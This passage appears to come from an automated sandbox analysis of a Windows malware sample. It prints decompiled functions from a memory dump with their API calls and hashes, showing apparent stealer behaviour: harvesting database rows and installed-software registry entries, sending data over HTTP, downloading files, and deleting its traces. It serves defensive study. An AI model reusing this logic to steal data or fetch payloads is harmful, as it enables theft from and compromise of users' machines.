				_t132 =  *0x420330;
				if( *0x420330 != 0) {
					E0040B890(_t132, 0x4b, _v10544); // executed
					_t127 = _t127 + 8;
				}
				E004133D0(_v10544,  &_v10276,  &_v10272);
				E0040B2C0( &_v5004, 0x1388);
				_t70 =  *0x41fa34; // 0x8b26d0
				_t99 =  *0x41ff6c; // 0x8ac460
				_t71 = E00404A20(_t99, _t132, _t99, _t70,  &_v5268, _v10276, _v10272); // executed
				lstrcatA( &_v5004, _t71);
				_t74 =  *0x42009c( &_v5004);
				_t133 = _t74 - 5;
				if(_t74 > 5) {
					E00405740(_t133,  &_v5004);
				}
				E0040B2C0( &_v5268, 0x104);
				E0040B2C0( &_v5004, 0x1388);
				E0040B2C0( &_v10276, 4);
				E0040B2C0( &_v10272, 4);
				E0040B2C0( &_v10544, 4); // executed
				E00405930(); // executed
				 *0x420334 = 1;
				return 0;
			}

0x004061a0
0x004061a8
0x004061b6
0x004061be
0x004061d0
0x004061e1
0x004061f2
0x00406209
0x0040620f
0x0040621d
0x00406223
0x00406230
0x00406236
0x00406244
0x0040624a
0x00406258
0x0040625e
0x00406264
0x0040626b
0x00406272
0x00406282
0x00406296
0x004062aa
0x004062af
0x004062bd
0x004062d1
0x004062d6
0x004062dd
0x004062e4
0x004062f1
0x00406300
0x0040630f
0x00406314
0x00406317
0x0040631e
0x00406329
0x0040632e
0x0040632e
0x00406346
0x0040635a
0x00406374
0x0040637a
0x00406381
0x00406391
0x0040639e
0x004063a4
0x004063a7
0x004063b0
0x004063b5
0x004063c4
0x004063d5
0x004063e3
0x004063f1
0x004063ff
0x00406404
0x00406409
0x00406418

APIs

Part of subcall function 0040B450: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B471

lstrcatA.KERNEL32(?,00000000,00000104), ref: 00406209
lstrcatA.KERNEL32(?,008AEAD8), ref: 0040621D
lstrcatA.KERNEL32(?,008AE9D8), ref: 00406230
lstrcatA.KERNEL32(?,008AC460), ref: 00406244
lstrcatA.KERNEL32(?,008B27A8), ref: 00406258

Part of subcall function 00404EE0: InternetOpenA.WININET(004187CE,00000000,00000000,00000000,00000000), ref: 00404F09
Part of subcall function 00404EE0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 00404F3E
Part of subcall function 00404EE0: InternetConnectA.WININET(00000000,008AC460,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404F5B
Part of subcall function 00404EE0: HttpOpenRequestA.WININET(00000000,?,00406277,00000000,00000000,00000000,00400000,00000000), ref: 00404F90
Part of subcall function 00404EE0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404FB4
Part of subcall function 00404EE0: InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404FD8
Part of subcall function 00404EE0: InternetCloseHandle.WININET(00000000), ref: 00405023
Part of subcall function 00404EE0: InternetCloseHandle.WININET(00000000), ref: 00405030
Part of subcall function 00404EE0: InternetCloseHandle.WININET(00000000), ref: 0040503D

lstrcatA.KERNEL32(?,00000000), ref: 00406282

Part of subcall function 00405E70: lstrcatA.KERNEL32(?,?,?,00000004,?,00000104,?,00000104,?,00000104,?,00001388), ref: 00405EE4
Part of subcall function 00405E70: _strtok_s.LIBCMT ref: 00405EFD

Part of subcall function 004048E0: InternetOpenA.WININET(004187CE,00000001,00000000,00000000,00000000), ref: 004048FD

Part of subcall function 0040A260: GetProcessHeap.KERNEL32(00000000,000F423F,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A26A
Part of subcall function 0040A260: RtlAllocateHeap.NTDLL(00000000,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A271

Part of subcall function 00405320: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 0040532B
Part of subcall function 00405320: RtlAllocateHeap.NTDLL(00000000,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405332
Part of subcall function 00405320: lstrcatA.KERNEL32(?,008AEAE8,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405345
Part of subcall function 00405320: lstrcatA.KERNEL32(?,008AE9E8,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405356
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405365
Part of subcall function 00405320: lstrcatA.KERNEL32(?,008AE918,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405376
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0041D304,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405385
Part of subcall function 00405320: lstrcatA.KERNEL32(?,008AC500,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405396
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053A5
Part of subcall function 00405320: lstrcatA.KERNEL32(?,008B2958,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053B6
Part of subcall function 00405320: GetCurrentProcessId.KERNEL32(?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053BC
Part of subcall function 00405320: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,00000104,?,00001388), ref: 004053D0
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004053DF
Part of subcall function 00405320: lstrcatA.KERNEL32(008B2970,008B2970,?,?,?,?,00000104,?,00001388), ref: 004053EF
Part of subcall function 00405320: lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004053FF
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040540E
Part of subcall function 00405320: lstrcatA.KERNEL32(008B2820,008B2820,?,?,?,?,00000104,?,00001388), ref: 0040541F
Part of subcall function 00405320: lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040542F
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 0040543E
Part of subcall function 00405320: lstrcatA.KERNEL32(008AC200,008AC200,?,?,?,?,00000104,?,00001388), ref: 0040544F
Part of subcall function 00405320: lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040545F
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040546E

lstrcatA.KERNEL32(?,00000000,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406391
lstrlen.KERNEL32(?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104,?), ref: 0040639E

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Internet$Heap$CloseHandleOpenProcess$AllocateHttpRequest$ConnectCurrentFileOptionReadSendSystemTime_strtok_slstrlen
String ID:
API String ID: 3227048537-0
Opcode ID: d44318335de087b9710db39ba1fcf7849a6a0782f47b163f41dfa115c8c40815
Instruction ID: 43458303a1dae9dfcf23445db0c3f520e004546406e1e3c781fc3999f6cf5a11
Opcode Fuzzy Hash: d44318335de087b9710db39ba1fcf7849a6a0782f47b163f41dfa115c8c40815
Instruction Fuzzy Hash: 47518AB6900314E7C711E760DC4ADDB737CAB48704F4085FEF609A3191DB74A6598FA8

Uniqueness

Uniqueness Score: -1.00%

Function 00407CD0, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00407CD0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				CHAR* _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				CHAR* _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B2C0( &_v268, 0x104);
				_t30 =  *0x41fbb8; // 0x8b3bf8
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41ffd8(_a4,  &_v272); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41fe94; // 0x8ab030
					_t35 =  *0x41ff90(_v272, _t67, 0xffffffff,  &_v276, 0); // executed
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41ffb0(_v276);
						return  *0x41ffdc(_v272);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v280 = _t40;
					while(1) {
						_t41 =  *0x41ffac(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41ffc8(_v276, 0);
						_t48 =  *0x41ffc8(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						lstrcatA(_v280, _v288);
						lstrcatA(_v280, "\t");
						lstrcatA(_v280, _v284);
						lstrcatA(_v280, "\n");
					}
					E004133B0(_a24,  &_v268, _v280,  *0x42009c(_v280));
					_t76 = _t79 + 0x10;
					E0040B2C0( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00407ce5
0x00407cf2
0x00407cff
0x00407d13
0x00407d19
0x00407d1e
0x00407d2f
0x00407d3d
0x00407d43
0x00407d48
0x00407e38
0x00407e3f
0x00000000
0x00407e55
0x00407d5c
0x00407d62
0x00407d68
0x00407d6f
0x00407d75
0x00407d7b
0x00000000
0x00000000
0x00407d93
0x00407da2
0x00407da8
0x00407dab
0x00407dbf
0x00407dd1
0x00407de5
0x00407df7
0x00407df7
0x00407e22
0x00407e27
0x00407e33
0x00000000
0x00407e33
0x00407e5b

APIs

wsprintfA.USER32 ref: 00407CFF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407D55
RtlAllocateHeap.NTDLL(00000000), ref: 00407D5C
lstrcatA.KERNEL32(?,?), ref: 00407DBF
lstrcatA.KERNEL32(?,0041D92C), ref: 00407DD1
lstrcatA.KERNEL32(?,?), ref: 00407DE5
lstrcatA.KERNEL32(?,0041D304), ref: 00407DF7
lstrlen.KERNEL32(?), ref: 00407E09

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 00c8339785d564f195c428243ef4baaa1344562408a68bc3753e4c76e449c26a
Instruction ID: 10596d3d1e1592b2090c89d736b0604b1e1e84b2ac3a9f5e3ca98d39017b6882
Opcode Fuzzy Hash: 00c8339785d564f195c428243ef4baaa1344562408a68bc3753e4c76e449c26a
Instruction Fuzzy Hash: 6A4185B190021C9BCB24DBA4DC4AFEA7378AF08700F0085E9F70993141D7759A95CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004081D0, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E004081D0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				CHAR* _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B2C0( &_v276, 0x104);
				_t30 =  *0x41fbc4; // 0x8b3dd8
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41ffd8(_a4,  &_v8); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41ff38; // 0x8a9060
					_t35 =  *0x41ff90(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41ffb0(_v280);
						return  *0x41ffdc(_v8);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t40;
					while(1) {
						_t41 =  *0x41ffac(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41ffc8(_v280, 0);
						_t48 =  *0x41ffc8(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						lstrcatA(_v284, _v288);
						lstrcatA(_v284, "\n");
						lstrcatA(_v284, _v292);
						lstrcatA(_v284, "\n\n");
					}
					E004133B0(_a24,  &_v276, _v284,  *0x42009c(_v284));
					_t76 = _t79 + 0x10;
					E0040B2C0( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x004081e5
0x004081f2
0x004081ff
0x00408210
0x00408216
0x0040821b
0x0040822c
0x00408237
0x0040823d
0x00408242
0x00408332
0x00408339
0x00000000
0x0040834c
0x00408256
0x0040825c
0x00408262
0x00408269
0x0040826f
0x00408275
0x00000000
0x00000000
0x0040828d
0x0040829c
0x004082a2
0x004082a5
0x004082b9
0x004082cb
0x004082df
0x004082f1
0x004082f1
0x0040831c
0x00408321
0x0040832d
0x00000000
0x0040832d
0x00408352

APIs

wsprintfA.USER32 ref: 004081FF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040824F
RtlAllocateHeap.NTDLL(00000000), ref: 00408256
lstrcatA.KERNEL32(?,?), ref: 004082B9
lstrcatA.KERNEL32(?,0041D304), ref: 004082CB
lstrcatA.KERNEL32(?,?), ref: 004082DF
lstrcatA.KERNEL32(?,0041D300), ref: 004082F1
lstrlen.KERNEL32(?), ref: 00408303

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 7f3ddf8b78807256f133b6ad38edeacfd6c093861ec2c5c7b8e1110db3c897d2
Instruction ID: a7b3952acb17ebf2f57f722d4efab785d86e27a29405a3ff7c64e5966c61f2f1
Opcode Fuzzy Hash: 7f3ddf8b78807256f133b6ad38edeacfd6c093861ec2c5c7b8e1110db3c897d2
Instruction Fuzzy Hash: 684196B190021CABCB14DBA4DC4AFDA7378AF48700F0085A9F709D3181DB759A96CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004048E0, Relevance: 12.1, APIs: 8, Instructions: 88
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004048E0(char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				struct _OVERLAPPED* _v20;
				void _v1044;
				long _v1052;
				void* _v1056;
				long _v1060;
				void* _t27;
				void* _t30;
				int _t38;
				int _t42;

				_v20 = 0;
				_t27 = InternetOpenA(0x4187ce, 1, 0, 0, 0);
				_v1056 = _t27;
				if(_v1056 != 0) {
					_v12 = InternetOpenUrlA(_v1056, _a4, 0, 0, 0x100, 0);
					_t30 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0); // executed
					_v16 = _t30;
					while(1 != 0) {
						_t38 = InternetReadFile(_v12,  &_v1044, 0x400,  &_v1052); // executed
						if(_t38 == 0) {
							L8:
							break;
						}
						if(_v1052 <= 0) {
							L9:
							_v8 = _v8 + _v1052;
							if(_v1052 >= 0x400) {
								continue;
							}
							break;
						}
						_t42 = WriteFile(_v16,  &_v1044, _v1052,  &_v1060, 0); // executed
						if(_t42 == 0 || _v1052 != _v1060) {
							goto L8;
						} else {
							goto L9;
						}
					}
					E0040B2C0( &_v1044, 0x400);
					FindCloseChangeNotification(_v16); // executed
					InternetCloseHandle(_v12); // executed
					return InternetCloseHandle(_v1056);
				}
				return _t27;
			}

0x004048e9
0x004048fd
0x00404903
0x00404910
0x00404933
0x0040494c
0x00404952
0x00404955
0x00404975
0x0040497d
0x004049bb
0x00000000
0x004049bb
0x00404986
0x004049bd
0x004049c6
0x004049d3
0x00000000
0x004049d7
0x00000000
0x004049d5
0x004049a3
0x004049ab
0x00000000
0x00000000
0x00000000
0x00000000
0x004049ab
0x004049e8
0x004049f1
0x004049fb
0x00000000
0x00404a08
0x00000000

APIs

InternetOpenA.WININET(004187CE,00000001,00000000,00000000,00000000), ref: 004048FD
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 0040492D
CreateFileA.KERNEL32(008AF6E0,40000000,00000003,00000000,00000002,00000080,00000000), ref: 0040494C
InternetReadFile.WININET(?,?,00000400,?), ref: 00404975
WriteFile.KERNEL32(008AF6E0,?,00000000,?,00000000), ref: 004049A3
FindCloseChangeNotification.KERNEL32(008AF6E0,?,00000400), ref: 004049F1
InternetCloseHandle.WININET(?), ref: 004049FB
InternetCloseHandle.WININET(00000000), ref: 00404A08

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCreateFindNotificationReadWrite
String ID:
API String ID: 2209595824-0
Opcode ID: 827e5047023a49f609f55a56540618bda823a6031ec58b3f3a6fc1b627428e95
Instruction ID: 7f3611e9784fd1f5e25e757fb0b8c22d8f15ddd2fe32adb05b96f193fed7e907
Opcode Fuzzy Hash: 827e5047023a49f609f55a56540618bda823a6031ec58b3f3a6fc1b627428e95
Instruction Fuzzy Hash: 593100F5A40218ABEB20DB60DC45FDE77B4AB44704F5085BAB705B62C0D7749A85CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 00411700, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411700(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				void* _t89;
				intOrPtr _t90;
				void* _t92;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *(_v24 + 0x20) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									_t89 = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0); // executed
									 *(_v24 + 0xc) = _t89;
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										_t92 = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20); // executed
										 *(_v24 + 0x20) = _t92;
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *(_v24 + 0x20) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B160(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411706
0x00411710
0x00000000
0x0041174b
0x0041174b
0x0041174f
0x004117b8
0x004117bc
0x00411830
0x00411834
0x00000000
0x004118f2
0x0041183d
0x00411840
0x00411844
0x00411850
0x00411854
0x0041186f
0x00411878
0x0041187b
0x0041187e
0x00411882
0x0041189f
0x004118a8
0x004118ab
0x004118ae
0x004118b2
0x004118d2
0x004118d5
0x004118dc
0x004118e9
0x00000000
0x004118ec
0x004118bb
0x004118c4
0x00000000
0x004118cb
0x00000000
0x00411884
0x0041185c
0x00000000
0x0041185c
0x00000000
0x00411846
0x004117c1
0x004117ec
0x004117ef
0x004117f2
0x004117f6
0x0041180f
0x00411816
0x00411820
0x00000000
0x00411824
0x004117fb
0x00000000
0x00411802
0x00411754
0x0041175d
0x00411763
0x0041177a
0x0041177f
0x00411789
0x0041178c
0x00411793
0x00411795
0x004117a5
0x00411797
0x0041179d
0x0041179d
0x00000000
0x004117ac

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411774

Strings

^2A, xrefs: 004118E6, 0041188B, 00411863

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FilePointer
String ID: ^2A
API String ID: 973152223-1976106975
Opcode ID: d96cd33ae9de056aab471b2b68af69d2ddd182c4411d9bff4d0c8fde865c0166
Instruction ID: a83e93ebcaa20fcf0496dcb4927dcd99c196c300d49fff505d7442bdc16cf2f7
Opcode Fuzzy Hash: d96cd33ae9de056aab471b2b68af69d2ddd182c4411d9bff4d0c8fde865c0166
Instruction Fuzzy Hash: AF612DB4A0020ADFDB14DF54C544BAEB7B1BB48314F208259E915AB3D1C374EE81CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF1D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040AF1D() {
				long _t36;
				long _t39;
				long _t42;
				long _t45;
				long _t51;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *(_t81 - 0x814) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					_t39 = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0); // executed
					 *(_t81 - 0x814) = _t39;
					if( *(_t81 - 0x814) != 0) {
						L11:
						continue;
					} else {
						L3:
						_t73 =  *0x41f9e0; // 0x8affb8
						wsprintfA(_t81 - 0x808, "%s\\%s", _t73, _t81 - 0x408);
						_t42 = RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c); // executed
						if(_t42 == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41fec4; // 0x8b3f68
							_t45 = RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
							if(_t45 == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x42009c() > 1) {
									L7:
									lstrcatA( *(_t81 + 8), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41fbfc; // 0x8b3fe0
									_t51 = RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
									if(_t51 == 0) {
										lstrcatA( *(_t81 + 8), " ");
										lstrcatA( *(_t81 + 8), _t81 - 0xc18);
									}
									L9:
									lstrcatA( *(_t81 + 8), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040af1d
0x0040af1d
0x0040af1d
0x0040af26
0x0040af33
0x00000000
0x00000000
0x0040af39
0x0040af39
0x0040af67
0x0040af6d
0x0040af7a
0x0040b0b5
0x00000000
0x0040af80
0x0040af80
0x0040af87
0x0040af9a
0x0040afbd
0x0040afc5
0x0040afe6
0x0040afe6
0x0040b004
0x0040b012
0x0040b01a
0x0040b020
0x0040b026
0x0040b030
0x0040b032
0x0040b03d
0x0040b043
0x0040b061
0x0040b06f
0x0040b077
0x0040b082
0x0040b093
0x0040b093
0x0040b099
0x0040b0a2
0x0040b0a2
0x0040b030
0x0040b0a8
0x0040b0af
0x00000000
0x0040afc7
0x0040afc7
0x0040afce
0x0040afdb
0x0040afdb
0x0040afc5
0x0040b0c7
0x0040b0ca
0x00000000
0x0040b0ca
0x0040b0ba
0x0040b0c1
0x00000000

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040AF67
wsprintfA.USER32 ref: 0040AF9A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040AFBD
RegCloseKey.ADVAPI32(00000000), ref: 0040AFCE
RegCloseKey.ADVAPI32(00000000), ref: 0040AFDB
RegQueryValueExA.KERNEL32(00000000,008B3F68,00000000,000F003F,?,00000400), ref: 0040B012
lstrlen.KERNEL32(?), ref: 0040B027
lstrcatA.KERNEL32(?,?), ref: 0040B03D
RegQueryValueExA.KERNEL32(00000000,008B3FE0,00000000,000F003F,?,00000400), ref: 0040B06F
lstrcatA.KERNEL32(?,0041D978), ref: 0040B082
lstrcatA.KERNEL32(?,?), ref: 0040B093
lstrcatA.KERNEL32(?,0041D304), ref: 0040B0A2
RegCloseKey.ADVAPI32(00000000), ref: 0040B0AF
RegCloseKey.ADVAPI32(00000000), ref: 0040B0C1

Strings

%s\%s, xrefs: 0040AF8E

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: 806118314fbb5b133a3851a610cda3f523bd276869cb926ed8985b122d8059c9
Instruction ID: d9d211090cb0b0a50d3a0874301bf57d0599e189a2b8ef844ae0f664684a75d2
Opcode Fuzzy Hash: 806118314fbb5b133a3851a610cda3f523bd276869cb926ed8985b122d8059c9
Instruction Fuzzy Hash: 0D111C71A4021C9BDB64CB50DD49FEAB3B8FB44304F10C1E8A249A6181DF745AC6CFE9

Uniqueness

Uniqueness Score: -1.00%

Function 00405930, Relevance: 10.5, APIs: 7, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405930() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				int _t10;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41fe4c; // 0x8af6e0
				DeleteFileA(_t1);
				_t11 =  *0x41fa9c; // 0x8af528
				DeleteFileA(_t11);
				_t13 =  *0x41fdf8; // 0x8af618
				DeleteFileA(_t13);
				_t5 =  *0x41f9d0; // 0x8af5f0
				DeleteFileA(_t5);
				_t12 =  *0x41fe74; // 0x8ac480
				DeleteFileA(_t12);
				_t14 =  *0x41fc54; // 0x8af488
				DeleteFileA(_t14);
				_t9 =  *0x41fea8; // 0x8af640
				_t10 = DeleteFileA(_t9); // executed
				return _t10;
			}

0x00405933
0x00405939
0x0040593f
0x00405946
0x0040594c
0x00405953
0x00405959
0x0040595f
0x00405965
0x0040596c
0x00405972
0x00405979
0x0040597f
0x00405985
0x0040598c

APIs

DeleteFileA.KERNEL32(008AF6E0,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405939
DeleteFileA.KERNEL32(008AF528,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405946
DeleteFileA.KERNEL32(008AF618,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405953
DeleteFileA.KERNEL32(008AF5F0,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 0040595F
DeleteFileA.KERNEL32(008AC480,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 0040596C
DeleteFileA.KERNEL32(008AF488,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405979
DeleteFileA.KERNEL32(008AF640,?,00406409,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405985

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c92c48729479618839c5090a1fd270ab9b30f54588accc5487c7d9cee6a5bfd3
Instruction ID: 0b30e291d9c6ddb7c73900a46e329070dde4f949a9012ea8707a8183ae2e9e24
Opcode Fuzzy Hash: c92c48729479618839c5090a1fd270ab9b30f54588accc5487c7d9cee6a5bfd3
